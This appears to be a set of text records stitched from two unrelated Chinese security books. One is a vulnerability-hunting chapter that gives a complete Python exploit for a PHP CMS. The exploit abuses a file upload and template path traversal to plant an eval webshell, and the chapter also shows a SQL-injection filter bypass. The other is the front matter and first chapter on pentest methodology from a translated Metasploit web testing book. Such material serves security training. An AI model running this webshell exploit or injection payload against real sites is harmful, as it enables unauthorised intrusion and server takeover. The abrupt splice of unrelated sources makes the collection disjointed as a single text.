    {"text": "代码如下： 279 public function kindeditor_uploadAction() { 280 $this->memberCheck(); 281 //定义允许上传的文件扩展名 282 $ext = array ( 283 'file' => array ('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2'), 284 'image' => array ('gif', 'jpg', 'jpeg', 'png', 'bmp'), 285 'flash' => array ('swf', 'flv'), 286 'media' => array ('swf', 'flv', 'mp3', 'wav', 'wma', 'wmv', 'mid', 'avi', 'mpg', 'asf', 'rm', 'rmvb') 287 ); 288 //检查目录 289 $dir = $this->get('dir') ? $this->get('dir') : 'image'; 290 if (! isset ($ext[$dir])) { 291 echo json_encode( array ('error' => 1, 'message' => lang('att-3', array ('1' => $dir)))); exit ; 292 } 293 $img = $dir == 'image' ? 1 : 0; 294 $size = $img ? 2 : 100; 295 //检查文件大小 296 if (is_null($_FILES['imgFile']['size']) || $_FILES['imgFile']['size'] > $size * 1024 * 1024) { 297 echo json_encode( array ('error' => 1, 'message' => lang('att-2', array ('1' => $size)))); exit ; 298 } y 89 y Web 渗透与漏洞挖掘 299 $data = $this->upload('imgFile', $ext[$dir], $size, $img, null , $this->getAdmin(), 'ke', null , $this->get('document')); 300 if ($data['result']) { 301 echo json_encode( array ('error' => 1, 'message' => $data['result'])); exit ; 302 } else { 303 echo json_encode( array ('error' => 0, 'url' => $data['path'])); exit ; 304 } 305 } 第 283 行，'file'=> array('doc', 'docx', 'xls', 'xlsx', 'ppt', 'htm', 'html', 'txt', 'zip', 'rar', 'gz', 'bz2')，允许.htm 和.html 后缀的文件上传。"},
    {"text": "图 3-57 y 90 y 第 3 章 漏洞挖掘 图 3-58 这样 webshell 文件已经上传，路径为 uploadfiles\\/member\\/2\\/file\\/201508\\/2.html， 调用参数为 tpl=../../uploadfiles/member/2/file/201508/2&c=phpinfo();，如图 3-59 所示。 图 3-59 y 91 y Web 渗透与漏洞挖掘 居然成功，可以执行任意 PHP 代码了。"},
    {"text": "最后附上 Python 版本的 PoC，代码如下： #!/usr/bin/env python #coding = utf-8 import sys import urllib2 import requests import re class Hole(): def verify(self,url,cookie): user_agent = \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; MyIE2; CNCDialer; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)www.isafe.cc\" try: file1 = {\"imgFile\":(\"www.isafe.cc.html\",\"<?php phpinfo();?>\",\"image/pjpeg\")} data1 = {\"submit\":\"upload\"} url1 = url + \"/index.php?c=Attachment&a=kindeditor_upload&dir=file\" content1 = requests.post(url1,files=file1,data=data1,headers={\"Cookie\": cookie}).content regx = \"\\\"url\\\":\\\"(.*)\\.html\" result1 = re.compile(regx).findall(content1) if result1: htmlfile = result1[0] + \".html\" htmlfile = htmlfile.replace(\"\\\\\",\"\") url2 = url + \"/index.php?c=api&a=mobiledata\" data2 = \"tpl=../../\" + htmlfile request1 = urllib2.Request(url2,data2,headers={\"User-Agent\": user_agent}) response1 = urllib2.urlopen(request1) content2 = response1.read() regx = \"allow_url_fopen\" result2 = re.compile(regx).findall(content2) if result2: y 92 y 第 3 章 漏洞挖掘 print \"[+]Success\" print \"hole is:\" + url else: print \"[*]Fail\" except: print \"error\" def exploit(self ,url,cookie): user_agent = \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; MyIE2; CNCDialer; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)www.isafe.cc\" try: file1 = {\"imgFile\":(\"www.isafe.cc.html\",\"<?php eval($_POST[c]);?>\", \"image/pjpeg\")} data1 = {\"submit\":\"upload\"} url1 = url + \"/index.php?c=Attachment&a=kindeditor_upload&dir=file\" content1 = requests.post(url1,files=file1,data=data1,headers={\"Cookie\": cookie}).content regx = \"\\\"url\\\":\\\"(.*)\\.html\" result1 = re.compile(regx).findall(content1) if result1: htmlfile = result1[0] + \".html\" htmlfile = htmlfile.replace(\"\\\\\",\"\") url2 = url + \"/index.php?c=api&a=mobiledata\" data2 = \"tpl=../../\" + htmlfile+'&c=file_put_contents(\"isafe.cc. php\",\"<?php eval(\\$_POST[c]);?>\");' request1 = urllib2.Request(url2,data2,headers={\"Cookie\":cookie}) response1 = urllib2.urlopen(request1) content2 = response1.read() url3 = url + \"/\"+ \"isafe.cc.php\" data3 = \"c=phpinfo();\" request3 = urllib2.Request(url3,data3,headers={\"User-Agent\":user_ agent}) response3= urllib2.urlopen(request3) content3 = response3.read() regx = \"allow_url_fopen\" result2 = re.compile(regx).findall(content3) if result2: print \"[+]Success\" print \"shell is: %s\" % (url3) else: print \"[*]Fail\" y 93 y Web 渗透与漏洞挖掘 except: print \"error\" if __name__ == \"__main__\": if len(sys.argv) != 3: print 'usage: %s http://www.test.com/ \"cookie_data\"' % (sys.argv[0]) sys.exit() url = sys.argv[1] cookie = sys.argv[2] hole1 = Hole() #hole1.verify(url,cookie) hole1.exploit(url,cookie) 执行结果如图 3-60 所示。"},
    {"text": "图 3-60 3.9 Vwins 2.0 SQL 注入漏洞，任意文件读取新思路 在分析 CMS 时，偶然发现了 Vwins 这套 CMS 系统，最新版本是 2016 年 1 月 30 日发布的，下载安装后使用工具解剖。"},
    {"text": "y 94 y 第 3 章 漏洞挖掘 首先将 Vwins 2.0 压缩包解压缩到 Xampp 的 Web 目录，然后进入所熟悉的安装 步骤，安装完成后打开首页，如图 3-61 所示。"},
    {"text": "打开/caches/safe.php，此文件对用户提交的 GET、POST、Cookie 进行了过滤， 正则表达式编写如下： private $getfilter = \"'|\\b(alert|confirm|prompt)\\b|<[^>]*?>|^\\\\+\\/v(8|9)|\\\\b (and|or)\\\\b.+?(>|<|=|\\\\bin\\\\b|\\\\blike\\\\b)|\\\\/\\\\*.+?\\\\*\\\\/|<\\\\s*script\\\\b|\\\\bEXE C\\\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM |(CREATE|ALTER|DROP|TRUNCATE)\\\\s+(TABLE|DATABASE)\"; private $postfilter = \"^\\\\+\\/v(8|9)|\\\\b(and|or)\\\\b.{1,6}?(=|>|<|\\\\bin\\\\b|\\\\ blike\\\\b)|\\\\/\\\\*.+?\\\\*\\\\/|<\\\\s*script\\\\b|<\\\\s*img\\\\b|\\\\bEXEC\\\\b|UNION.+?SELECT| UPDATE.+?SET|INSERT\\\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP| TRUNCATE)\\\\s+(TABLE|DATABASE)\"; private $cookiefilter = \"\\\\b(and|or)\\\\b.{1,6}?(=|>|<|\\\\bin\\\\b|\\\\blike\\\\b)|\\\\/ \\\\*.+?\\\\*\\\\/|<\\\\s*script\\\\b|\\\\bEXEC\\\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\\\s+IN TO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\\\s+(TABLE|DATAB ASE)\"; 防护系统对 HTTP 头的 HTTP_REFERER 进行了过滤，并且对参数 Key、Value 也进行了过滤。"},
    {"text": "系统过滤的关键词为 UNION.+?SELECT，所以注册提交 isafe' and 1=2 union select 1#的时候刚好命中过滤，导致出现如图 3-65 所示的内容。 图 3-65 y 96 y 第 3 章 漏洞挖掘 系统没有过滤 load_file()和 extractvalue，那么我们就可以绕过防注入系统，继续 注入，编写 SQL 语句： isafe ' and extractvalue(1,(select user()))# 消息中提示“提交失败”，如图 3-66 所示。"},
    {"text": "未知 随时、随地、随心阅读 当当云阅读 未知 版权信息 书名：Web渗透测试实战:基于Metasploit 5.0 作者：(印)哈伯利特·辛格(Harpreet Singh),(印)希曼舒·夏尔马(Himanshu Sharma) 排版：辛萌哒 出版社：机械工业出版社 出版时间：2021-07-01 ISBN：9787111686279 本书由北京华章图文信息有限公司授权北京当当科文电子商务有限公司制作与发行。 — · 版权所有 侵权必究 · — 未知 译者序 在IT行业工作了20年，这是我翻译的第三本信息安全类专业书籍，也是为机械工业出版社华章公司翻译的第一本书，值得纪念。我将会尽量利用我的业余时间多翻译一些优质的国外图书，也希望能通过这种方式对我国的信息安全产业做出贡献。 我曾在RAPID7工作6年，可以说每天都在和Metasploit 打交道，这个“神器”也绝非浪得虚名，在渗透测试工具领域无疑占据领导地位。这个工具的发明者是被称为世界十大黑客之一的HD Moore，也是我在RAPID7工作时的同事，虽然他后来离开了RAPID7开始创业，但仍然是Metasploit项目组的特别成员。熟练使用Metasploit将非常有助于提高渗透测试的效率。 本书作者都拥有丰富的行业经验。具有一定渗透测试基础，尤其是Metasploit方面基础的读者可以跳过前两章，但后面的每章内容都很精彩，也很关键。第8～10章介绍如何对主流CMS（WordPress、Joomla、Drupal）进行渗透测试，第11～13章介绍如何对主流技术平台（JBoss、Apache Tomcat、Jenkins）进行渗透测试。建议读者按照本书的章节顺序进行阅读，动手实践书中的示例，并尽量花时间做一下每章节最后的问题，这非常有助于加深读者对知识点的理解。请在实验环境下进行练习，在没有正式授权的情况下禁止在真实环境中进行攻击。 本书内容深入浅出，很适合信息安全从业者（尤其是信息安全攻防领域的从业者和渗透测试人员）、大专院校网络安全专业学生阅读。翻译过程中难免有错误和纰漏，请广大读者批评指正。 参与本书翻译的还有赵贤辉（影子）和赵越。影子具有超过15年的渗透测试实战经验，赵越长期在甲方从事渗透测试和安全评估工作，也有着丰富的从业经验。 最后，衷心感谢上海碳泽信息科技有限公司全体同人和股东的支持，感谢你们的理解和信任。 贾玉彬 上海碳泽信息科技有限公司创始人 2021年1月于北京"},
    {"text": "未知 前言 在当今快速发展的技术世界中，信息安全行业正以惊人的速度变化，与此同时，针对组织的网络攻击数量也在迅速增加。为了保护自己免受这些来自真实世界的攻击，许多组织在其流程管理中引入了安全审计以及风险和漏洞评估机制，旨在评估与其业务资产有关的风险。为了保护IT资产，许多组织聘请信息安全专业人员，以识别组织的应用程序和网络中可能存在的风险、漏洞和威胁。对于信息安全专业人员来说，掌握并提高自己的专业技能以及熟悉最新的攻击方法至关重要。同样，为了提高效率，许多人在进行渗透测试和漏洞利用时都将Metasploit作为首选。 对于网络漏洞利用和后渗透，我们可以找到大量资源，但是就Web应用渗透测试而言，选择Metasploit的人并不多。本书将帮助安全顾问和专业人士了解Metasploit在Web应用渗透测试中的作用，使读者能够在Metasploit的帮助下更有效地进行Web应用渗透测试。 本书读者对象 本书专为渗透测试人员、白帽黑客、信息安全顾问以及对Web应用渗透测试有一定了解，并且想要了解更多相关知识或深入研究Metasploit框架的人而设计。 本书涵盖的内容 第1章 介绍Metasploit的安装和配置，以及渗透测试的生命周期、OWASP Top 10和SANS Top 25。 第2章 介绍Metasploit从安装到漏洞利用的基础知识，还涵盖基本的Metasploit术语以及Metasploit中其他较不常用的选项。 第3章 在深入探讨其他主题之前，对Metasploit社区版Web界面进行简单介绍。 第4章 介绍渗透测试生命周期中的第一个过程：侦察（reconnaissance）。从标识（banner）抓取到WEBDAV侦察，我们将借助特定Metasploit模块来说明基本的侦察过程。 第5章 着重介绍Web应用渗透测试中重要的过程之一——枚举。本章将首先介绍文件和目录枚举的基本知识，然后介绍网站爬虫和抓取，之后介绍和枚举相关的Metasploit模块。 第6章 主要介绍Metasploit框架中用于扫描Web应用的WMAP模块。 第7章 主要介绍通过Metasploit使用Nessus漏洞扫描程序对目标进行漏洞评估扫描。 第8章 主要介绍针对WordPress的漏洞枚举以及如何进行漏洞利用。 第9章 主要介绍针对Joomla的漏洞枚举以及如何进行漏洞利用。 第10章 主要介绍针对Drupal的漏洞枚举以及如何进行漏洞利用。 第11章 介绍针对JBoss服务器进行漏洞枚举、利用和获得访问权限的方法。 第12章 介绍针对Tomcat服务器进行漏洞枚举、利用和获得访问权限的方法。 第13章 介绍针对运行Jenkins的服务器进行漏洞枚举、利用和获得访问权限的方法。 第14章 主要介绍针对Web应用业务逻辑缺陷的利用，并详细介绍通过对Web应用进行模糊测试来挖掘漏洞的一些实例。 第15章 涵盖报告编写的基础知识以及如何使用不同的工具来自动执行报告编写过程。 学习本书的基本要求 对Metasploit框架和脚本语言（如Python或Ruby）有基本的了解，将有助于读者理解各章内容。 如果你使用的是本书的数字版本，建议你自己输入代码，这样做将帮助你避免任何与代码复制和粘贴有关的潜在错误。 排版约定 本书中使用了以下约定。 代码体：表示文本中的代码、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟URL、用户输入和Twitter句柄。下面是一个示例：“将下载的WebStorm-10*.dmg磁盘映像文件作为系统中的另一个磁盘装入。” 代码块设置如下： 当我们希望引起你对代码块特定部分的注意时，相关行或项目会以粗体显示： 任何命令行输入或输出的编写方式如下： 表示警告或重要说明。 表示提示和技巧。 免责声明 本书中的信息仅用于合法范围。如果没有得到设备所有者的书面许可，不要使用本书中的任何信息。如果你误用书中的任何信息，出版社不承担任何责任。书中信息只能在测试环境中使用，并要得到相关负责人的书面授权。 未知 关于作者 哈伯利特·辛格 （Harpreet Singh）是Hands-On Red Team Tactics一书的作者，在白帽黑客、渗透测试、漏洞研究等方面有7年以上的经验。他还拥有OSCP（Offensive Security Certified Professional）和OSWP（Offensive Security Wireless Professional）的认证。多年来，Harpreet积累了丰富的攻防经验。他是无线和网络开发方面的专家，研究移动开发和Web应用程序开发等，并且曾作为红队成员对银行和金融集团的系统进行测试。 我要感谢我的家人和朋友们一如既往的支持，尤其要感谢我的母亲和其他重要同伴的一路支持。我还要感谢我的合著者（Himanshu）和Packt团队，让我有机会和他们一起写这本书。 希曼舒·夏尔马 （Himanshu Sharma）因发现苹果、谷歌、微软、Facebook、Adobe、Uber、AT&T、Avira等公司的安全漏洞而闻名。他曾协助Harbajan Singh等找回被黑客攻击的账户。他曾在Botconf 2013、CONFidence、RSA Singapore、LeHack、Hacktivity、Hack In the Box和SEC-T等国际会议上担任演讲人和培训师。他还曾在Tedx的IEEE会议上发言。目前，他是众包安全平台BugsBounty的联合创始人。 我要感谢那些支持我的人，尤其是我的朋友、同事和父母，如果没有他们，我无法及时完成本书。我还要感谢Google、Wikipedia和Stack Overflow的持续支持。"},
    {"text": "未知 关于审校者 Amit Kumar Sharma是一位安全宣讲师，在应用程序安全性和模糊测试方面拥有丰富的经验。他曾在电信、医疗、集成电路和汽车安全领域从事各种技术工作。 他现在是一家知名公司的安全顾问，该公司提供有关如何将安全性融入SDLC的咨询，并推广IAST、二进制分析和模糊测试等技术，以发现安全问题。目前，他的研究领域包括DevSecOps、SDLC中的安全性、Kubernetes安全性和密码管理。 我要感谢父母的指导和鼓励，他们对我取得如今的成就有巨大帮助。我要感谢我的兄弟姐妹和妻子对我的信任，没有他们的耐心，这项工作是不可能完成的。感谢我所有的朋友和导师，他们以不同方式帮助我取得了成功。 未知 第一篇 导论 本篇将首先介绍Web应用测试的基础，然后介绍Metasploit的基础知识，之后深入介绍Metasploit Web界面。 本篇包括以下章节： ·第1章 Web应用渗透测试简介 ·第2章 Metasploit基础知识 ·第3章 Metasploit Web界面 未知 第1章 Web应用渗透测试简介 在当今世界，有许多自动化工具和SaaS解决方案可以用来测试系统或应用程序的安全性。但是当需要对应用程序的业务逻辑进行测试时，自动化往往会失败。了解渗透测试人员如何帮助组织领先于网络攻击，以及为什么组织需要遵循严格的补丁管理周期来保护其资产非常重要。 在本书中，你将学习如何使用著名的Metasploit框架对基于不同平台构建的Web应用进行渗透测试。我们大多数人都知道该工具及其在常规渗透测试中的重要地位，本书将重点介绍如何使用Metasploit框架对各种Web应用进行渗透测试，例如内容管理系统（CMS）和内容交付与内容集成系统（CD/CI）。要了解有关工具和技术的更多信息，我们首先需要了解渗透测试的基础知识。 本章涵盖以下内容： ·什么是渗透测试？ ·渗透测试有哪些类型？ ·渗透测试分为哪些阶段？ ·重要术语。 ·渗透测试的方法学。 ·通用缺陷列表（Common Weakness Enumeration，CWE）。 未知 1.1 什么是渗透测试 渗透测试（penetration testing）是对计算机系统的一种授权攻击，旨在评估系统/网络的安全性，执行测试以识别漏洞及其带来的风险。典型的渗透测试过程一般分为五个阶段，主要包括识别目标系统、检测存在的漏洞以及每个漏洞的可利用性。渗透测试的目标是找到尽可能多的漏洞，并交付客户可以接受的通用格式报告。在下一节中，我们将介绍不同类型的渗透测试。 未知 1.2 渗透测试的类型 根据客户的需求，渗透测试可以分为三种类型： ·白盒（white box） ·黑盒（black box） ·灰盒（gray box） 下面将逐个介绍。 未知 1.2.1 白盒渗透测试 白盒渗透测试又称作玻璃盒渗透测试或透明盒渗透测试。通常在这种类型的渗透测试中，客户会分享关于目标系统、网络或应用的全部信息和细节，例如系统的登录账户和密码、网络设备的SSH/Telnet登录信息以及需要测试的应用的源代码。这些信息关系到客户的系统、网络、应用，因此非常敏感，所以建议对这些信息进行加密处理。 未知 1.2.2 黑盒渗透测试 黑盒渗透测试是模拟攻击者的测试，测试人员将充当真实的攻击者，没有目标系统、网络或应用程序的内部信息。这种类型的测试实际上专注于渗透测试的第一阶段——侦察。测试人员可以获得的有关目标组织的信息越多，测试效果就越好。在这种类型的测试中，不会向渗透测试人员提供任何架构图、网络结构或任何源代码文件。 未知 1.2.3 灰盒渗透测试 灰盒渗透测试介于白盒渗透测试和黑盒渗透测试之间。在典型的灰盒测试中，渗透测试人员会获得一些有关应用程序、系统或网络的信息。正是基于这个原因，这种测试往往非常有效，并且更关注有时限要求的组织。使用客户提供的信息，渗透测试人员可以将精力集中在风险更大的系统上，并节省大量用来进行前期侦察的时间。 现在我们对渗透测试类型有了清楚的认识，接下来我们看一下渗透测试的各个阶段。 未知 1.3 渗透测试的阶段 为了更好地了解渗透测试，让我们看一下渗透过程的各个阶段。 ·阶段1：侦察。 ·阶段2：枚举。 ·阶段3：漏洞评估和分析。 ·阶段4：漏洞利用（包括后渗透阶段）。 ·阶段5：报告。 如图1-1所示。 图 1-1 每个阶段都有一系列的工具和技术可用于执行有效的测试。 未知 1.3.1 侦察和信息收集 侦察是执行渗透测试的第一个阶段。在这个阶段，渗透测试人员将尝试识别相关系统或应用程序，并尽可能多地收集信息。这是黑盒渗透测试的最关键阶段，因为在这一阶段，测试人员可以锁定攻击面。相反，对于白盒测试来讲，侦察可能就不重要了，因为客户会提供有关范围内目标的所有信息。 黑盒测试在很大程度上依赖于此阶段，因为没有信息提供给测试人员。在对Web应用进行渗透测试时，我们将专注于确定Web应用所使用的技术、域/子域信息、HTTP协议侦察和枚举以及任何其他可以帮助我们提高效率的细节。通常在此阶段确定目标的测试范围和目的。 以下是可用于对Web应用进行侦察的工具列表： ·识别在非标准端口（用户自定义端口）上运行的应用：Amap、Nmap等。 ·识别DNS和子域名：dnsenum、dnsmap、dnswalk、dnsrecon、dnstracer、Fierce、dnscan、Sublist3r等。 ·识别技术平台：BlindElephant、Wappalyzer、WhatWeb等。 ·识别内容管理系统：WPScan、Joomscan、CMScan、Drupscan等。 接下来看枚举阶段。"},
    {"text": "未知 1.3.2 枚举 在枚举阶段，测试人员将扫描在上一阶段（侦察）中识别的每个应用、系统或网络，以查找不同的攻击面——例如，枚举Web应用的文件和目录以及网络设备的端口和服务。本阶段将帮助测试人员识别攻击媒介（切入点）。攻击媒介是攻击者获得访问权限或入侵目标系统的路径或方法。渗透测试人员使用的最常见的攻击媒介是网络钓鱼电子邮件、恶意软件和未修补的漏洞。 渗透测试人员可以执行文件和目录枚举、HTTP方法枚举、主机枚举以及其他一些枚举动作，以查找可能存在漏洞的切入点。在白盒测试中，由于所有详细信息都已经提供给测试人员，因此该阶段并不会真正发挥重要作用，但这并不意味着你不应该经历此阶段。即使提供了所有详细信息，执行枚举和扫描始终是一个好习惯。这将帮助测试人员找到应用程序不支持的过时的攻击途径，但可能会帮助测试人员渗透网络。 该阶段对于黑盒和灰盒测试非常关键，因为渗透测试人员可以通过对目标系统或应用程序执行侦察从而获取所有需要的信息。手工进行枚举可能会很烦琐，因此可以使用公开可用的工具和一些Metasploit模块来快速完成这部分工作。 以下是可用于对Web应用进行枚举的工具列表： ·文件和目录枚举：Dirsearch、dirb、dirbuster、Metasploit框架、BurpSuite、gobuster等。 ·HTTP协议支持的方法枚举：Nmap、BurpSuite、Metasploit框架（MSF）、wfuzz等。 ·速率限制测试：BurpSuite、ffuf、wfuzz等。 未知 1.3.3 漏洞评估与分析 一旦确定了攻击媒介，就需要进行漏洞扫描，这就发生在渗透测试阶段。对Web应用进行漏洞评估，以识别网页、目录、HTTP协议方法、HTTP标头等是否存在漏洞。可以使用免费或付费工具来完成扫描。所有类型的测试（白盒、黑盒和灰盒）都依赖此阶段。 漏洞扫描完成后，我们需要评估和分析发现的每个漏洞，然后过滤掉误报信息。筛选出误报信息可以帮助渗透测试人员处理实际存在的漏洞，而不是处理因时间延迟或扫描工具错误而误报的漏洞。所有漏洞过滤都在此阶段进行。 以下是可用于对Web应用执行漏洞评估和扫描的工具列表： ·系统和网络漏洞评估：Nexpose、Nessus、OpenVAS等。 ·Web应用漏洞评估：AppSpider、Nikto、Acunetix、BurpSuite、Nessus等。 未知 1.3.4 漏洞利用 漏洞利用阶段是侦察阶段之后的第二个关键阶段。此阶段用于证明在先前阶段发现的某个漏洞是否可以利用。如果渗透测试人员可以利用发现的漏洞，那么他们基本就可以确定该渗透测试项目是成功的。可以使用某些工具（例如Metasploit Framework和Canvas）自动进行漏洞利用。这是因为我们不知道使用攻击载荷时Web应用或系统会做出什么样的响应行为。 通常，在所有类型的测试中，我们需要从客户那里确认是否被授权执行基于内存的漏洞利用，例如进行缓冲区/堆溢出和运行内存损坏。这样做的好处是，我们可以通过运行特定漏洞利用程序来访问目标系统（仅在目标系统易被此特定漏洞利用的情况下才有效）。利用此类漏洞时存在的一个问题是，可能会导致系统/服务器/Web应用崩溃，从而造成业务连续性问题。 成功对系统或Web应用进行漏洞利用之后，我们可以选择就此停止，也可以进行后渗透工作（如果已经获得客户的授权），比如进行内网渗透并定位关键业务服务器。 请确保所有攻击载荷、Web Shell、文件和脚本均已上传到目标系统以进行漏洞利用，并在获取适当的概念验证（PoC）屏幕截图后将其清除。一定不要忘记这个清理工作，否则真正的攻击者可能会找到Web Shell并轻松使用它们来进行攻击。 未知 1.3.5 报告 报告阶段是渗透测试过程的最后阶段，将汇总在目标（测试范围内）中发现的每个漏洞。报告的漏洞将根据通用漏洞评分系统（CVSS）定义的严重性级别列出，CVSS是一个用于漏洞评估的免费、开放的标准。 作为渗透测试人员，我们需要知道这个阶段对于客户而言非常重要。测试人员在客户的系统上所做的所有工作都应以结构化格式进行报告。报告应包括关于测试的简短介绍、测试范围、测试规则、简洁明了的摘要、发现的漏洞以及每个漏洞的PoC，并从参考链接中提供一些建议和修复方案。 有一些公开的工具，例如Serpico、Magic Tree、BurpSuite和Acunetix，可以帮助简化报告过程。由于这是渗透测试的重要阶段，因此在测试过程中发现的所有详细信息都应在报告中体现。 我们可以提供两种不同类型的报告：适合管理层的摘要报告和适合技术团队的技术报告。这可以帮助组织的管理人员和技术团队理解并修复渗透测试人员发现的漏洞。"},
    {"text": "未知 1.4 重要术语 我们已经熟悉了一些标准，在接下来的章节中，我们大量使用以下重要术语： ·漏洞（vulnerability）： 系统中的弱点，可能导致攻击者能够进行未经授权的访问。 ·欺骗（spoofing）： 为了获得非法利益，个人或程序成功地将数据伪装成其他内容的情况。 ·漏洞利用（exploit）： 一段代码，一个程序，一个方法或一系列命令，它们利用漏洞来获得对系统/应用程序的未授权访问。 ·载荷（payload）： 在利用漏洞期间/之后，在目标系统上执行任务所需的实际代码。 ·风险（risk）： 任何可能影响数据的机密性、完整性和可用性的因素。未打补丁的软件、配置错误的服务器、不安全的Internet使用习惯等都会造成风险。 ·威胁（threat）： 任何可能对计算机系统、网络或应用程序造成严重伤害的因素。 ·黑盒（black box）： 一种测试方法，在测试之前不向测试人员提供有关系统内部架构或功能的信息。 ·白盒（white box）： 一种测试方法，在测试之前，会向测试人员提供系统的内部架构和功能的全部信息。 ·Bug悬赏（bug bounty）： Bug悬赏计划是许多网站和开发人员提供的一项协议，允许个人因报告Bug（特别是与漏洞利用和漏洞相关的Bug）而受到奖励。 ·SAST（Static Application Security Testing，静态应用程序安全性测试）： 一种安全性测试形式，主要是对应用程序源代码进行检查。 ·DAST（Dynamic Application Security Testing，动态应用程序安全测试）： 一种用于检测处于运行状态的应用程序中是否存在安全漏洞的技术。 ·模糊测试（fuzzing）： 一种自动测试技术，将无效、非预期的或随机数据作为输入提供给应用程序。 我们已经知道了这些重要术语的定义，接下来我们继续学习测试方法。 未知 1.5 渗透测试方法学 众所周知，对于渗透测试而言，目前还没有统一的标准。但是安全社区引入了一些标准，供所有安全人员参考和遵循。有一些众所周知的标准包括《开源安全测试方法手册》（Open Source Security Testing Methodology Manual，OSSTMM）、《渗透测试执行标准》（Penetration Testing Execution Standard，PTES）和信息系统安全评估框架（Information Systems Security Assessment Framework，ISSAF）。 未知 1.5.1 OSSTMM OSSTMM的定义在其官方网站https://www.isecom.org/OSSTMM.3.pdf可以找到： 这是一本经过同行评审的安全测试和分析手册，可提供经过验证的事实。这些事实提供了具有可操作性的信息，可以显著提高你在安全方面的操作能力。 使用OSSTMM，将在运营层面通过审计提供准确的安全评估，以清除假设和不可靠的证据。它适用于全面的安全性测试，并且旨在保持一致性和可重复性。作为一个开源项目，它对所有安全测试贡献者开放，鼓励进行越来越准确、可行和高效的安全测试。 OSSTMM包括以下关键部分： ·运营安全指标（operational security metric）。 ·信任度分析（trust analysis）。 ·人性安全测试（human security testing）。 ·物理安全测试（physical security testing）。 ·无线安全测试（wireless security testing）。 ·通信安全测试（telecommunications security testing）。 ·数据网络安全测试（data network security testing）。 ·合规要求（compliance regulation）。 ·使用安全测试审计报告（Security Test Audit Report，STAR）进行交付。 1.5.1.1 运营安全指标 OSSTMM的这一部分涉及需要保护的内容以及攻击面的暴露情况。可以通过创建RAV（对攻击面的无偏离事实描述）来衡量。 1.5.1.2 信任度分析 在运营安全中，信任是通过活动范围内目标之间的相互影响来衡量的，任何有恶意的人都可以利用这种信任。为了量化信任度，我们需要理解并进行分析，以做出更合理和合乎逻辑的决策。 1.5.1.3 人性安全测试 人性安全（Human Security，HUMSEC）是物理安全（Physical Security，PHYSSEC）的一个组成部分，并加入了对心理活动（Psychological Operation，PSYOPS）的利用。要测试这一方面的安全性，需要与可以物理访问受保护资产的个人（例如，门卫）进行沟通。 1.5.1.4 物理安全测试 物理安全是指物理区域内的物质安全。要进行这方面的测试，需要与为保护资产而设置的障碍和人员（如守卫人员）进行非直接的沟通和交互。 1.5.1.5 无线安全测试 频谱安全（Spectrum Security，SPECSEC）是一种安全类别，包括电子安全（Electronics Security，ELSEC）、信号安全（Signals Security，SIGSEC）和辐射安全（Emanations Security，EMSEC）。进行这方面的测试时，需要让测试人员处于距离目标的一定范围之内。 1.5.1.6 通信安全测试 通信安全是ELSEC的子集，它描述了组织的有线通信情况。这方面的测试涵盖了分析师与目标之间的互动。 1.5.1.7 数据网络安全测试 在数据网络安全性（通信安全性[COMSEC]）测试中，测试人员需要与有权访问运营数据（用来控制访问资产）的个人进行交互。 1.5.1.8 合规要求 所需的合规类型取决于地区和当前的政府、行业和业务类型以及支持性法规。简而言之，合规性是立法或行业定义的一组通用要求，这些要求是强制性的。 1.5.1.9 使用STAR进行报告 STAR（Security Test Audit Report，安全测试审计报告）的目的是作为执行摘要，阐明在特定范围内测试的目标所暴露的攻击面。"},
    {"text": "未知 1.5.2 OSSTMM测试类型 OSSTMM根据测试人员掌握的信息量将测试类型分为六大类： ·盲测（blind）： 测试人员不了解目标，但目标了解测试人员的所有详细信息。这可以视为对测试人员技术水平的测验。 ·双盲（double-blind）： 测试人员不了解目标的任何信息，如目标的防御情况、资产等，目标也不会收到任何通知。这类测试用于检查渗透测试人员的知识和技能，以及目标针对未知威胁的准备情况。双盲测试也称为黑盒测试。 ·灰盒（gray box）： 测试人员对目标的防御知识了解有限，但对目标的资产和运作情况有全面的了解。在这种情况下，目标已经为测试做好了充分准备，并且知道的全部细节。这类测试也称为漏洞测试。 ·双灰盒（double gray box）： 这也称为白盒测试。目标对测试范围和时间有预先的了解，但不了解攻击载荷和测试方法。 ·协力（tandem）： 这也称为内部审计或水晶球测试。在这类测试中，目标和测试人员都知道测试的全部细节，但是这类测试不会检查目标针对未知情况或测试方法的准备情况。 ·反向（reversal）： 在这类测试中，攻击者完全了解目标的流程和安全运营情况，但是目标对何时何地进行测试却一无所知。这也称为红队练习。 图1-2展示了这些类型的关系。 图 1-2 资料来源：https://www.isecom.org/OSSTMM.3.pdf 授权许可：https://creativecommons.org/licenses/by/3.0/ 未知 1.5.3 ISSAF ISSAF不太活跃，但是提供的指南却非常全面。这个框架旨在评估信息安全策略以及组织对IT行业标准、法律和法规要求的遵守情况。 框架涵盖以下阶段： ·项目管理。 ·准则和最佳实践——评估前、评估中和评估后。 ·评估方法学。 ·信息安全策略和安全组织评估。 ·风险评估方法的评价。 ·技术控制评估。 ·技术控制评估——方法学。 ·密码安全。 ·密码破解策略。 ·UNIX/Linux系统安全性评估。 ·Windows系统安全性评估。 ·Novell Netware安全评估。 ·数据库安全评估。 ·无线安全评估。 ·交换机安全评估。 ·路由器安全评估。 ·防火墙安全评估。 ·入侵检测系统（IPS）安全评估。 ·VPN安全评估。 ·防病毒系统安全评估和管理策略。 ·Web应用安全评估。 ·存储区域网络（Storage Area Network，SAN）安全评估。 ·互联网用户安全。 ·IBM AS400系统安全。 ·源代码审计。 ·二进制审计。 ·社会工程学。 ·物理安全评估。 ·事件分析。 ·日志/监视和审计流程评估。 